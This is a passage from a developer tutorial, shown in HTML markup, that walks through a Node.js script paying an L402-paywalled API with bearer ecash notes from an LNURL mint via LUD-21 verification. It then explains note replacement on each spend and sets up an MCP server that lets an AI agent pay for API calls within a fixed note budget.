&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="kd"&gt;get&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ERROR&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sha256&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fresh&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// 1. Ask the API what it wants.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;API&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;402&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`expected 402, got &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;invoice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;macaroon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payment_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;amount_sats&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;l402&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;needMsat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount_sats&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`wants &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;amount_sats&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; sats`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Split the note down to exactly that amount. The mint refuses any melt&lt;/span&gt;
&lt;span class="c1"&gt;//    whose invoice does not match the note's value to the millisatoshi.&lt;/span&gt;
&lt;span class="c1"&gt;//    WRITE THESE TWO SECRETS DOWN BEFORE THE REQUEST GOES OUT.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paySecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fresh&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nx"&gt;changeSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fresh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`pay note &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;paySecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;\nchange note &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;changeSecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;MINT&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/w?k1=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;NOTE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxWithdrawable&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;needMsat&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;note too small&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// + split fee, and change cannot be zero&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;?k1=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;NOTE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;amount=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;needMsat&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
          &lt;span class="s2"&gt;`&amp;amp;h=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;paySecret&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;h2=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;changeSecret&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// 3. Melt the exact note against the API's invoice. The mint pays it on the&lt;/span&gt;
&lt;span class="c1"&gt;//    Lightning network as a background task and hands back a URL to watch.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;exact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;MINT&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/w?k1=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;paySecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;melt&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;exact&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;?k1=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;paySecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;pr=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;invoice&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Poll until it settles. LUD-21 verify returns the preimage of the invoice&lt;/span&gt;
&lt;span class="c1"&gt;//    the mint just paid, which is precisely what L402 asked us for.&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;preimage&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;     &lt;span class="c1"&gt;// usually 2s. once, for me, 60s.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;melt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;settled&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;preimage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`melt did not settle. keep polling &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;melt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;payment_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;preimage does not match the invoice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// 5. Spend the credential.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;API&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`L402 &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;macaroon&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;preimage&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;paid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;paid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;change&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;MINT&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/w?k1=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;changeSecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`change: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;change&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxWithdrawable&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; msat in &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;changeSecret&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;NOTE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;the preimage from Part 2&amp;gt; node pay.mjs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wants 21 sats
pay note 9f2c...
change note 41ba...
200 { roll: 4 }
change: 76000 msat in 41ba...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five GETs to the mint, plus one to read the change back, two to the API, and a number between one and six that cost 21 sats. Those sats are now in your own wallet, because the invoice the mint paid was yours.&lt;/p&gt;

&lt;p&gt;That console warning above the split is not decoration. The mint keys the new notes to the hashes of secrets it never learns, so a crash between generating those secrets and getting them onto disk destroys the money outright. A real client persists both secrets to disk before the request and reconciles on the next run, which is most of what separates a demo from a wallet.&lt;/p&gt;

&lt;h3&gt;
  
  
  A note is not a balance
&lt;/h3&gt;

&lt;p&gt;This is the part that catches everybody, including me, so it is worth showing rather than describing. Run the script twice more, first with the same note, then with the change it printed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ NOTE=e3f1... node pay.mjs          # the note you started with
wants 21 sats
pay note 7d05...
change note 8c93...
Error: Note already spent.

$ NOTE=41ba... node pay.mjs          # the change from the run above
wants 21 sats
pay note b620...
change note 5ae4...
200 { roll: 2 }
change: 54000 msat in 5ae4...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Every spend replaces your note.&lt;/strong&gt; Nothing was debited, because there is no account to debit. The mint burned the note you presented and minted a fresh one for the change, keyed to a secret you generated seconds earlier, and the secret you started the day with is now worth nothing. The change note &lt;em&gt;is&lt;/em&gt; your wallet. Lose that string and the money is gone, even though you never spent it.&lt;/p&gt;

&lt;p&gt;So a 98 sat note is four dice rolls, and it is also four different notes: 98 becomes 76 becomes 54 becomes 32 becomes 10, a sat of split fee each time, with the 10 sat remnant mergeable into your next note for a 1 sat refund. That is the loop Part 4 automates. An agent writes each new secret to its note store as it goes, which is why a burst of paid calls looks like a balance going down when it is really a chain of notes, each replacing the last.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the server needed no changes at all
&lt;/h2&gt;

&lt;p&gt;Look at what Part 1 did to support any of this: nothing. It issued an ordinary BOLT-11 invoice and waited. A melt is a normal Lightning payment, routed over the public network to whoever the invoice names, so the paywalled API cannot tell a bearer note from a phone. This works against Aperture, against toll-booth, against anything speaking L402, with no cooperation from the far end.&lt;/p&gt;

&lt;p&gt;The pivot is &lt;a href="https://github.com/lnurl/luds/blob/luds/21.md" rel="noopener noreferrer"&gt;LUD-21&lt;/a&gt;, the verify extension. When the mint tells you a melt has settled, it hands back the preimage of the invoice it paid. L402 wants a macaroon and a preimage. The mint's proof of payment and the API's proof of payment are the same 32 bytes, so the two protocols join up without either of them being designed for the other.&lt;/p&gt;

&lt;p&gt;Worth noticing that your API stayed on localhost throughout. Never reachable from the internet, and it still got paid, because the only thing that had to be reachable was your wallet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part 4: now give it to an agent
&lt;/h2&gt;

&lt;p&gt;The script above is the protocol. In practice you let the agent run it. &lt;a href="https://github.com/forgesworn/402-mcp" rel="noopener noreferrer"&gt;402-mcp&lt;/a&gt; is an MCP server that lets an AI agent discover, pay for and consume L402 APIs, with LNURLcash as one of its wallet providers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude mcp add 402-mcp &lt;span class="nt"&gt;--&lt;/span&gt; npx 402-mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;LNURLCASH_NOTES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;~/.402-mcp/notes.json   &lt;span class="c"&gt;# encrypted at rest&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;MAX_AUTO_PAY_SATS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then ask it to fetch something that costs money and watch it split, melt, verify and authenticate on its own. The note store is the wallet; when the notes are gone, the agent stops, and no amount of creative prompting gets it more.&lt;/p&gt;

&lt;p&gt;That is the property I care about. &lt;code&gt;MAX_AUTO_PAY_SATS&lt;/code&gt; is a policy, and policies are code someone can be argued out of. A 100 sat note is not a policy. It is a hundred sats.&lt;/p&gt;

&lt;p&gt;Handing a note over is handing it over, and it is the copy you kept that will mislead you. The moment the agent buys its first dice roll, your copy is dead. Not reduced to 77 sats. Dead. Up to that first purchase your copy could have taken the whole note back; after it, nothing, with no state in between. Which is the honest footnote to "there is nothing to revoke" further up: a copy is a revoke while it lasts, it is also indistinguishable from theft, and the agent has no way to check you deleted yours.&lt;/p&gt;

&lt;p&gt;The production version handles what the demo skips: notes that were already spent by another holder of a copy get dropped and the next one is tried, melts whose outcome never came back are reconciled against the mint before the next payment, and an unproven preimage is never treated as payment. Bearer assets are unforgiving, and every one of those cases is one I hit in testing rather than one I imagined.&lt;/p&gt;

&lt;h2&gt;
  
  
  Now look at what that price buys
&lt;/h2&gt;

&lt;p&gt;The whole round trip cost 3 sats: 2 to mint, 1 to split, nothing to melt. And twenty one sats is about a penny, at the £47,000 or so a bitcoin was worth the day I wrote this. Sit with that for a second, because it is the part that gets waved past.&lt;/p&gt;

&lt;p&gt;A card cannot represent this transaction at all. UK Stripe is 1.5% plus 20p, so the fee on that penny is twenty times the sale. There is no volume at which that inverts, because the 20p is fixed. Every business model that needs a sub-penny price gets built as a subscription instead, not because subscriptions are better but because the payment rail refuses. A monthly minimum is what a payments industry looks like when its floor is 50p.&lt;/p&gt;

&lt;p&gt;Here is the rail on this side of the fence:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
